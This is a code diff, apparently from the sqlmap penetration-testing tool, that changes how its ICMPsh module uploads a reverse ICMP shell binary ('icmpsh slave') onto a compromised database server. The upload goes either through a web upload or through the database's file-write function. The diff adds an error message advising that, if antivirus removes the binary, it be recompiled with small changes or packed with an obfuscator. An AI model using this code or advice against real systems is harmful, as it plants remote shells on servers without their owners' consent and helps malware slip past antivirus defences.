|
18 | 18 | from lib.core.data import conf |
19 | 19 | from lib.core.data import logger |
20 | 20 | from lib.core.data import paths |
21 | | - |
| 21 | +from lib.core.exception import SqlmapFilePathException |
22 | 22 |
|
23 | 23 | class ICMPsh: |
24 | 24 | """ |
@@ -67,19 +67,30 @@ def uploadIcmpshSlave(self, web=False): |
67 | 67 | self._randStr = randomStr(lowercase=True) |
68 | 68 | self._icmpslaveRemoteBase = "tmpi%s.exe" % self._randStr |
69 | 69 |
|
70 | | - if web: |
71 | | - self._icmpslaveRemote = "%s/%s" % (self.webDirectory, self._icmpslaveRemoteBase) |
72 | | - else: |
73 | | - self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) |
74 | | - |
| 70 | + self._icmpslaveRemote = "%s/%s" % (conf.tmpPath, self._icmpslaveRemoteBase) |
75 | 71 | self._icmpslaveRemote = ntToPosixSlashes(normalizePath(self._icmpslaveRemote)) |
76 | 72 |
|
77 | 73 | logger.info("uploading icmpsh slave to '%s'" % self._icmpslaveRemote) |
78 | 74 |
|
79 | 75 | if web: |
80 | | - self.webUpload(self._icmpslaveRemote, self.webDirectory, filepath=self._icmpslave) |
| 76 | + written = self.webUpload(self._icmpslaveRemote, os.path.split(self._icmpslaveRemote)[0], filepath=self._icmpslave) |
| 77 | + else: |
| 78 | + written = self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary", forceCheck=True) |
| 79 | + |
| 80 | + if written is not True: |
| 81 | + errMsg = "there has been a problem uploading icmpsh, it " |
| 82 | + errMsg += "looks like the binary file has not been written " |
| 83 | + errMsg += "on the database underlying file system or an AV has " |
| 84 | + errMsg += "flagged it as malicious and removed it. In such a case " |
| 85 | + errMsg += "it is recommended to recompile icmpsh with slight " |
| 86 | + errMsg += "modification to the source code or pack it with an " |
| 87 | + errMsg += "obfuscator software" |
| 88 | + logger.error(errMsg) |
| 89 | + |
| 90 | + return False |
81 | 91 | else: |
82 | | - self.writeFile(self._icmpslave, self._icmpslaveRemote, "binary") |
| 92 | + logger.info("icmpsh successfully uploaded") |
| 93 | + return True |
83 | 94 |
|
84 | 95 | def icmpPwn(self): |
85 | 96 | ICMPsh._prepareIngredients(self) |
|
0 commit comments